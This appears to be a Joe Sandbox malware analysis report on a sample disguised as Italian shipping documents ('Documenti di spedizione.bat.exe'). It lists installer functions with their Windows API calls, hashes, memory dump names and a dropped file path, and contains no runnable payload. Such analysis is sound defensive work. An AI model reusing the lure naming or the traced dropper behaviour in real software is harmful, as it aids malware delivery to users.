Associated: 00000000.00000002.2621385916.0000000000447000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_Documenti di spedizione.jbxd

Similarity

API ID: Open
String ID:
API String ID: 71445658-0
Opcode ID: ed1d997f1767e4ebe1524a955060e6e59f62574de8c72c2eb948d7caa6f8d669
Instruction ID: e7f2061ded5818062db825bc0413707355dbbb7a887edde82a058a89c260750b
Opcode Fuzzy Hash: ed1d997f1767e4ebe1524a955060e6e59f62574de8c72c2eb948d7caa6f8d669
Instruction Fuzzy Hash: 5EE046B6250108BADB00EFA4EE4AFA537ECAB44700F008021B608E60A1C678E6108B79

Function 00405BE2 Relevance: 1.5, APIs: 1, Instructions: 22fileCOMMON

Download Yara Rule

APIs

ReadFile.KERNELBASE(00409130,00000000,00000000,00000000,00000000,004128D8,0040A8D8,00403274,00409130,00409130,00403178,004128D8,00004000,?,00000000,00403022), ref: 00405BF6

Memory Dump Source

Source File: 00000000.00000002.2621262951.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2621246363.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2621284624.0000000000407000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2621299446.0000000000409000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2621299446.0000000000421000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2621299446.0000000000425000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2621299446.0000000000429000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2621299446.0000000000445000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2621385916.0000000000447000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_Documenti di spedizione.jbxd

Similarity

API ID: FileRead
String ID:
API String ID: 2738559852-0
Opcode ID: ffd4dfc917ffc97e7d907f9c2c90699c203f3b0ebfd4578ed28d6b2a376640fe
Instruction ID: ff987474db4941a2a63fe891919fb2946ba1e32a0df937fa27738628adbeee07
Opcode Fuzzy Hash: ffd4dfc917ffc97e7d907f9c2c90699c203f3b0ebfd4578ed28d6b2a376640fe
Instruction Fuzzy Hash: 5EE0EC3261835AABEF509E559C04EEB7B6CFB05360F045432FD15E2190D275E8219BA5

Function 1000270B Relevance: 1.5, APIs: 1, Instructions: 21memoryCOMMON

Download Yara Rule

APIs

VirtualProtect.KERNELBASE(1000404C,00000004,00000040,1000403C), ref: 10002729

Memory Dump Source

Source File: 00000000.00000002.2629006314.0000000010001000.00000020.00000001.01000000.00000007.sdmp, Offset: 10000000, based on PE: true

Associated: 00000000.00000002.2628993182.0000000010000000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.2629018868.0000000010003000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.2629030864.0000000010005000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_10000000_Documenti di spedizione.jbxd

Similarity

API ID: ProtectVirtual
String ID:
API String ID: 544645111-0
Opcode ID: 18430b4f65034898945c85cbd496d0600587ffef3804861361c874148a7acf75
Instruction ID: 4f82052a8ee677216feeb46ba648c84afb962adc58c95b92ee0d34447feb5494
Opcode Fuzzy Hash: 18430b4f65034898945c85cbd496d0600587ffef3804861361c874148a7acf75
Instruction Fuzzy Hash: B5F09BF19092A0DEF360DF688CC4B063FE4E3983D5B03892AE358F6269EB7441448B19

Function 00402336 Relevance: 1.5, APIs: 1, Instructions: 20COMMON

Download Yara Rule

APIs

GetPrivateProfileStringA.KERNEL32(00000000,?,?,?,000003FF,00000000), ref: 00402369

Memory Dump Source

Source File: 00000000.00000002.2621262951.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2621246363.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2621284624.0000000000407000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2621299446.0000000000409000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2621299446.0000000000421000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2621299446.0000000000425000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2621299446.0000000000429000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2621299446.0000000000445000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2621385916.0000000000447000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_Documenti di spedizione.jbxd

Similarity

API ID: PrivateProfileString
String ID:
API String ID: 1096422788-0
Opcode ID: 90e07bb3a0b3f4804eab7f86ac5a4e71b50077df0b3d61eb17d11243db03f5ce
Instruction ID: 863d308e192ce4c0f66b0ae01519e0470cfafd3cecd099ef988cf845eccf6abb
Opcode Fuzzy Hash: 90e07bb3a0b3f4804eab7f86ac5a4e71b50077df0b3d61eb17d11243db03f5ce
Instruction Fuzzy Hash: D1E08630A04208BADB10AFA08F09EAD3A79AF41710F24003AF9507B0D1EAB84481DB2D

Function 0040159D Relevance: 1.5, APIs: 1, Instructions: 18COMMON

Download Yara Rule

APIs

SetFileAttributesA.KERNELBASE(00000000,?,000000F0), ref: 004015A8

Memory Dump Source

Source File: 00000000.00000002.2621262951.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2621246363.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2621284624.0000000000407000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2621299446.0000000000409000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2621299446.0000000000421000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2621299446.0000000000425000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2621299446.0000000000429000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2621299446.0000000000445000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2621385916.0000000000447000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_Documenti di spedizione.jbxd

Similarity

API ID: AttributesFile
String ID:
API String ID: 3188754299-0
Opcode ID: 96c910dea8fbf951c2b9a4b5f3b3c3063cfa5e5189f353d5a1020b82a892de8f
Instruction ID: bac0d5995861a33a007bf1aced2086678d13136d77447ce7e9e78d56ca3cc0cd
Opcode Fuzzy Hash: 96c910dea8fbf951c2b9a4b5f3b3c3063cfa5e5189f353d5a1020b82a892de8f
Instruction Fuzzy Hash: DCD05BB2704115EBCB10DFE5EB0869D77B0DB40365F304137D151F21D0D2BADA559759

Function 00404128 Relevance: 1.5, APIs: 1, Instructions: 9windowCOMMON

Download Yara Rule

APIs

SendMessageA.USER32(0001048C,00000000,00000000,00000000), ref: 0040413A

Memory Dump Source

Source File: 00000000.00000002.2621262951.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2621246363.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2621284624.0000000000407000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2621299446.0000000000409000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2621299446.0000000000421000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2621299446.0000000000425000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2621299446.0000000000429000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2621299446.0000000000445000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2621385916.0000000000447000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_Documenti di spedizione.jbxd

Similarity

API ID: MessageSend
String ID:
API String ID: 3850602802-0
Opcode ID: 50a7dacb6371fe0cd67611078dbaf3ccf85a23f01bbb2752a0812b92d5b89748
Instruction ID: 75e74fd11ebe5bc6c3f22cf38e5f61c8940f983f04da59faa373adfcae7f6129
Opcode Fuzzy Hash: 50a7dacb6371fe0cd67611078dbaf3ccf85a23f01bbb2752a0812b92d5b89748
Instruction Fuzzy Hash: 82C04C717442017AEA218B519D49F0677586794700F6544257320A60D0C6B4E450E62D

Function 00403277 Relevance: 1.5, APIs: 1, Instructions: 6COMMON

Download Yara Rule

APIs

SetFilePointer.KERNELBASE(00000000,00000000,00000000,00402F75,?), ref: 00403285

Memory Dump Source

Source File: 00000000.00000002.2621262951.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2621246363.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2621284624.0000000000407000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2621299446.0000000000409000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2621299446.0000000000421000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2621299446.0000000000425000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2621299446.0000000000429000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2621299446.0000000000445000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2621385916.0000000000447000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_Documenti di spedizione.jbxd

Similarity

API ID: FilePointer
String ID:
API String ID: 973152223-0
Opcode ID: 0070af3e33726fe8c9f5218e9eb5d27e4edbe1e9193197dd8736a9b9f47decae
Instruction ID: 49fdcfdf8b1973cd13611e97ba0bfafd8618b6cb304eeeee9131019f9f046fb0
Opcode Fuzzy Hash: 0070af3e33726fe8c9f5218e9eb5d27e4edbe1e9193197dd8736a9b9f47decae
Instruction Fuzzy Hash: 03B01271644200BFDA214F00DF05F057B21A790700F10C030B748380F082712420EB4D

Function 00404111 Relevance: 1.5, APIs: 1, Instructions: 6windowCOMMON

Download Yara Rule

APIs

SendMessageA.USER32(00000028,?,00000001,00403F42), ref: 0040411F

Memory Dump Source

Source File: 00000000.00000002.2621262951.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2621246363.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2621284624.0000000000407000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2621299446.0000000000409000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2621299446.0000000000421000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2621299446.0000000000425000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2621299446.0000000000429000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2621299446.0000000000445000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2621385916.0000000000447000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_Documenti di spedizione.jbxd

Similarity

API ID: MessageSend
String ID:
API String ID: 3850602802-0
Opcode ID: 3d364c0f7cae05b6249e8bcc12743ca4c2e9a63f4273028bf1a1c1708aea3851
Instruction ID: a78b9239c319e9cb66b61a8ea9955aebbc10e43728856a3b978814f56e37e297
Opcode Fuzzy Hash: 3d364c0f7cae05b6249e8bcc12743ca4c2e9a63f4273028bf1a1c1708aea3851
Instruction Fuzzy Hash: 19B092B6684200BAEE228B00DD09F457AB2E7A8742F008024B200240B0CAB200A1DB19

Function 004040FE Relevance: 1.5, APIs: 1, Instructions: 4COMMON

Download Yara Rule

APIs

KiUserCallbackDispatcher.NTDLL(?,00403EDB), ref: 00404108

Memory Dump Source

Source File: 00000000.00000002.2621262951.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2621246363.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2621284624.0000000000407000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2621299446.0000000000409000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2621299446.0000000000421000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2621299446.0000000000425000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2621299446.0000000000429000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2621299446.0000000000445000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2621385916.0000000000447000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_Documenti di spedizione.jbxd

Similarity

API ID: CallbackDispatcherUser
String ID:
API String ID: 2492992576-0
Opcode ID: 14a97dc87043aa2e894c667cdbf79e2d841fd90f9686f850a1099e45bc3f86c8
Instruction ID: 4b90da896e4fa09681504a9dabf2ba00c57f91177066947fb67d52e8ca440c18
Opcode Fuzzy Hash: 14a97dc87043aa2e894c667cdbf79e2d841fd90f9686f850a1099e45bc3f86c8
Instruction Fuzzy Hash: FCA012324040009BCB014B90FE04C457F31A754300701C031E10180030C2310824FF09

Function 004014D6 Relevance: 1.3, APIs: 1, Instructions: 19sleepCOMMON

Download Yara Rule

APIs

Sleep.KERNELBASE(00000000), ref: 004014E9

Memory Dump Source

Source File: 00000000.00000002.2621262951.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2621246363.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2621284624.0000000000407000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2621299446.0000000000409000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2621299446.0000000000421000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2621299446.0000000000425000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2621299446.0000000000429000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2621299446.0000000000445000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2621385916.0000000000447000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_Documenti di spedizione.jbxd

Similarity

API ID: Sleep
String ID:
API String ID: 3472027048-0
Opcode ID: d70777c03fab58a6680eac8bb77f8d646d92531b9a9c42126c115ca3ec13432e
Instruction ID: 6696c5b565abb4b072559f1c40de02a1b67f072cada9199909c9bbabd3d4a8ec
Opcode Fuzzy Hash: d70777c03fab58a6680eac8bb77f8d646d92531b9a9c42126c115ca3ec13432e
Instruction Fuzzy Hash: 1CD05EB3B14141ABDB20EBB8BAC445E77E4EB403257304837E502E2091E6798A428618

Function 10001215 Relevance: 1.3, APIs: 1, Instructions: 4memoryCOMMON

Download Yara Rule

APIs

GlobalAlloc.KERNELBASE(00000040,10001233,?,100012CF,-1000404B,100011AB,-000000A0), ref: 1000121D

Memory Dump Source

Source File: 00000000.00000002.2629006314.0000000010001000.00000020.00000001.01000000.00000007.sdmp, Offset: 10000000, based on PE: true

Associated: 00000000.00000002.2628993182.0000000010000000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.2629018868.0000000010003000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.2629030864.0000000010005000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_10000000_Documenti di spedizione.jbxd

Similarity

API ID: AllocGlobal
String ID:
API String ID: 3761449716-0
Opcode ID: 6989041179a6ec659f8410a82a3610e1053cc9f4ca9d652552d89decbf4b4a90
Instruction ID: 35b308b173d9b0532f6cde55f5bface33093279d7ce3c78a2cc6db588f634b90
Opcode Fuzzy Hash: 6989041179a6ec659f8410a82a3610e1053cc9f4ca9d652552d89decbf4b4a90
Instruction Fuzzy Hash: 6CA002B1945620DBFE429BE08D9EF1B3B25E748781F01C040E315641BCCA754010DF39

Non-executed Functions

Function 00404A8D Relevance: 65.2, APIs: 33, Strings: 4, Instructions: 481windowmemoryCOMMON

Download Yara Rule

APIs

GetDlgItem.USER32(?,000003F9), ref: 00404AA5
GetDlgItem.USER32(?,00000408), ref: 00404AB0
GlobalAlloc.KERNEL32(00000040,?), ref: 00404AFA
LoadBitmapA.USER32(0000006E), ref: 00404B0D
SetWindowLongA.USER32(?,000000FC,00405084), ref: 00404B26
ImageList_Create.COMCTL32(00000010,00000010,00000021,00000006,00000000), ref: 00404B3A
ImageList_AddMasked.COMCTL32(00000000,00000000,00FF00FF), ref: 00404B4C
SendMessageA.USER32(?,00001109,00000002), ref: 00404B62
SendMessageA.USER32(?,0000111C,00000000,00000000), ref: 00404B6E
SendMessageA.USER32(?,0000111B,00000010,00000000), ref: 00404B80
DeleteObject.GDI32(00000000), ref: 00404B83
SendMessageA.USER32(?,00000143,00000000,00000000), ref: 00404BAE
SendMessageA.USER32(?,00000151,00000000,00000000), ref: 00404BBA
SendMessageA.USER32(?,00001100,00000000,?), ref: 00404C4F
SendMessageA.USER32(?,0000110A,00000003,00000000), ref: 00404C7A
SendMessageA.USER32(?,00001100,00000000,?), ref: 00404C8E
GetWindowLongA.USER32(?,000000F0), ref: 00404CBD
SetWindowLongA.USER32(?,000000F0,00000000), ref: 00404CCB
ShowWindow.USER32(?,00000005), ref: 00404CDC
SendMessageA.USER32(?,00000419,00000000,?), ref: 00404DD9
SendMessageA.USER32(?,00000147,00000000,00000000), ref: 00404E3E
SendMessageA.USER32(?,00000150,00000000,00000000), ref: 00404E53
SendMessageA.USER32(?,00000420,00000000,00000020), ref: 00404E77
SendMessageA.USER32(?,00000200,00000000,00000000), ref: 00404E97
ImageList_Destroy.COMCTL32(00000000), ref: 00404EAC
GlobalFree.KERNEL32(00000000), ref: 00404EBC
SendMessageA.USER32(?,0000014E,00000000,00000000), ref: 00404F35
SendMessageA.USER32(?,00001102,?,?), ref: 00404FDE
SendMessageA.USER32(?,0000110D,00000000,00000008), ref: 00404FED
InvalidateRect.USER32(?,00000000,00000001), ref: 0040500D
ShowWindow.USER32(?,00000000), ref: 0040505B
GetDlgItem.USER32(?,000003FE), ref: 00405066
ShowWindow.USER32(00000000), ref: 0040506D

Strings

N, xrefs: 00404D17
-L, xrefs: 00405013
, xrefs: 00405045
M, xrefs: 00404C36

Memory Dump Source

Source File: 00000000.00000002.2621262951.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2621246363.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2621284624.0000000000407000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2621299446.0000000000409000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2621299446.0000000000421000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2621299446.0000000000425000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2621299446.0000000000429000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2621299446.0000000000445000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2621385916.0000000000447000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_Documenti di spedizione.jbxd

Similarity

API ID: MessageSend$Window$ImageItemList_LongShow$Global$AllocBitmapCreateDeleteDestroyFreeInvalidateLoadMaskedObjectRect
String ID: $M$N$-L
API String ID: 1638840714-202795196
Opcode ID: 83e2ede0a7d074a44b451b0b1dd27b036aaffd7360a27c1076ab9aa670ade9c5
Instruction ID: e0cc5522092fb32f5c2674b78011ac89e49f6c9f2dab24d514a8ff43177d9d20
Opcode Fuzzy Hash: 83e2ede0a7d074a44b451b0b1dd27b036aaffd7360a27c1076ab9aa670ade9c5
Instruction Fuzzy Hash: 1E025EB0900209AFEB209F94DC85AAE7BB5FB84315F10817AF611B62E1C7799D42DF58

Function 0040451A Relevance: 28.3, APIs: 10, Strings: 6, Instructions: 274stringCOMMON

Download Yara Rule

APIs

GetDlgItem.USER32(?,000003FB), ref: 00404569
SetWindowTextA.USER32(00000000,?), ref: 00404593
SHBrowseForFolderA.SHELL32(?,0041F108,?), ref: 00404644
CoTaskMemFree.OLE32(00000000), ref: 0040464F
lstrcmpiA.KERNEL32(Call,Gazi Setup: Installing), ref: 00404681
lstrcatA.KERNEL32(?,Call), ref: 0040468D
SetDlgItemTextA.USER32(?,000003FB,?), ref: 0040469F

Part of subcall function 004056D1: GetDlgItemTextA.USER32(?,?,00000400,004046D6), ref: 004056E4

Part of subcall function 00406162: CharNextA.USER32(?,*?|<>/":,00000000,"C:\Users\user\Desktop\Documenti di spedizione.bat.exe",75923410,C:\Users\user\AppData\Local\Temp\,00000000,0040329A,C:\Users\user\AppData\Local\Temp\,C:\Users\user\AppData\Local\Temp\,004034AF), ref: 004061BA
Part of subcall function 00406162: CharNextA.USER32(?,?,?,00000000), ref: 004061C7
Part of subcall function 00406162: CharNextA.USER32(?,"C:\Users\user\Desktop\Documenti di spedizione.bat.exe",75923410,C:\Users\user\AppData\Local\Temp\,00000000,0040329A,C:\Users\user\AppData\Local\Temp\,C:\Users\user\AppData\Local\Temp\,004034AF), ref: 004061CC
Part of subcall function 00406162: CharPrevA.USER32(?,?,75923410,C:\Users\user\AppData\Local\Temp\,00000000,0040329A,C:\Users\user\AppData\Local\Temp\,C:\Users\user\AppData\Local\Temp\,004034AF), ref: 004061DC

GetDiskFreeSpaceA.KERNEL32(0041ED00,?,?,0000040F,?,0041ED00,0041ED00,?,00000001,0041ED00,?,?,000003FB,?), ref: 0040475D
MulDiv.KERNEL32(?,0000040F,00000400), ref: 00404778

Part of subcall function 004048D1: lstrlenA.KERNEL32(Gazi Setup: Installing,Gazi Setup: Installing,?,%u.%u%s%s,00000005,00000000,00000000,?,000000DC,00000000,004047EC,000000DF,00000000,00000400,?), ref: 0040496F
Part of subcall function 004048D1: wsprintfA.USER32 ref: 00404977
Part of subcall function 004048D1: SetDlgItemTextA.USER32(?,Gazi Setup: Installing), ref: 0040498A

Strings

Call, xrefs: 0040467B, 00404680, 0040468B
-L, xrefs: 004047D4
A, xrefs: 0040463D
C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\semirigorously, xrefs: 0040466A
dK, xrefs: 00404520
Gazi Setup: Installing, xrefs: 00404617, 0040467A

Memory Dump Source

Source File: 00000000.00000002.2621262951.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2621246363.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2621284624.0000000000407000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2621299446.0000000000409000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2621299446.0000000000421000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2621299446.0000000000425000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2621299446.0000000000429000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2621299446.0000000000445000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2621385916.0000000000447000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_Documenti di spedizione.jbxd

Similarity

API ID: CharItemText$Next$Free$BrowseDiskFolderPrevSpaceTaskWindowlstrcatlstrcmpilstrlenwsprintf
String ID: A$C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\semirigorously$Call$Gazi Setup: Installing$dK$-L
API String ID: 2624150263-2479613484
Opcode ID: aa897a388f026c859834b9177abdad11152a1d64c9f36690aee5ee8c86f27191
Instruction ID: 7ea719a0b93bcaca37b111b678a2b5d6f3f78fc0ed79788128ac85d93e839f9f
Opcode Fuzzy Hash: aa897a388f026c859834b9177abdad11152a1d64c9f36690aee5ee8c86f27191
Instruction Fuzzy Hash: D5A18EB1900209ABDB11AFA5CC45AAFB7B8EF85314F10843BF711B62D1D77C8A418F69

Function 00404225 Relevance: 44.0, APIs: 20, Strings: 5, Instructions: 205windowstringCOMMON

Download Yara Rule

APIs

CheckDlgButton.USER32(00000000,-0000040A,00000001), ref: 004042B0
GetDlgItem.USER32(00000000,000003E8), ref: 004042C4
SendMessageA.USER32(00000000,0000045B,00000001,00000000), ref: 004042E2
GetSysColor.USER32(?), ref: 004042F3
SendMessageA.USER32(00000000,00000443,00000000,?), ref: 00404302
SendMessageA.USER32(00000000,00000445,00000000,04010000), ref: 00404311
lstrlenA.KERNEL32(?), ref: 00404314
SendMessageA.USER32(00000000,00000435,00000000,00000000), ref: 00404323
SendMessageA.USER32(00000000,00000449,?,00000110), ref: 00404338
GetDlgItem.USER32(?,0000040A), ref: 0040439A
SendMessageA.USER32(00000000), ref: 0040439D
GetDlgItem.USER32(?,000003E8), ref: 004043C8
SendMessageA.USER32(00000000,0000044B,00000000,00000201), ref: 00404408
LoadCursorA.USER32(00000000,00007F02), ref: 00404417
SetCursor.USER32(00000000), ref: 00404420
ShellExecuteA.SHELL32(0000070B,open,004226C0,00000000,00000000,00000001), ref: 00404433
LoadCursorA.USER32(00000000,00007F00), ref: 00404440
SetCursor.USER32(00000000), ref: 00404443
SendMessageA.USER32(00000111,00000001,00000000), ref: 0040446F
SendMessageA.USER32(00000010,00000000,00000000), ref: 00404483

Strings

N, xrefs: 004043B6
Call, xrefs: 004043F3
-L, xrefs: 00404245
open, xrefs: 0040442B
dK, xrefs: 00404379

Memory Dump Source

Source File: 00000000.00000002.2621262951.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2621246363.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2621284624.0000000000407000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2621299446.0000000000409000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2621299446.0000000000421000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2621299446.0000000000425000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2621299446.0000000000429000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2621299446.0000000000445000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2621385916.0000000000447000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_Documenti di spedizione.jbxd

Similarity

API ID: MessageSend$Cursor$Item$Load$ButtonCheckColorExecuteShelllstrlen
String ID: Call$N$dK$open$-L
API String ID: 3615053054-3822709895
Opcode ID: e76cc1a0ba7ef7f86ae8e4ee464b0340797726a5bea064de8fa3a19247962d01
Instruction ID: 93f755629d35b640548b5af6b7c61ab120d2ba211fed136cde477a70902604c8
Opcode Fuzzy Hash: e76cc1a0ba7ef7f86ae8e4ee464b0340797726a5bea064de8fa3a19247962d01
Instruction Fuzzy Hash: 5D61A3B1A40209BFEB109F61DC45F6A7B69FB84714F10803AFB057A2D1C7B8A951CF99

Function 00401000 Relevance: 26.4, APIs: 14, Strings: 1, Instructions: 125COMMON

Download Yara Rule

APIs

DefWindowProcA.USER32(?,00000046,?,?), ref: 0040102C
BeginPaint.USER32(?,?), ref: 00401047
GetClientRect.USER32(?,?), ref: 0040105B
CreateBrushIndirect.GDI32(00000000), ref: 004010CF
FillRect.USER32(00000000,?,00000000), ref: 004010E4
DeleteObject.GDI32(?), ref: 004010ED
CreateFontIndirectA.GDI32(?), ref: 00401105
SetBkMode.GDI32(00000000,00000001), ref: 00401126
SetTextColor.GDI32(00000000,000000FF), ref: 00401130
SelectObject.GDI32(00000000,?), ref: 00401140
DrawTextA.USER32(00000000,00422F20,000000FF,00000010,00000820), ref: 00401156
SelectObject.GDI32(00000000,00000000), ref: 00401160
DeleteObject.GDI32(?), ref: 00401165
EndPaint.USER32(?,?), ref: 0040116E

Strings

F, xrefs: 0040100C

Memory Dump Source

Source File: 00000000.00000002.2621262951.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2621246363.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2621284624.0000000000407000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2621299446.0000000000409000.00000004.00000001.01000000.00000003.sdmpDownload File
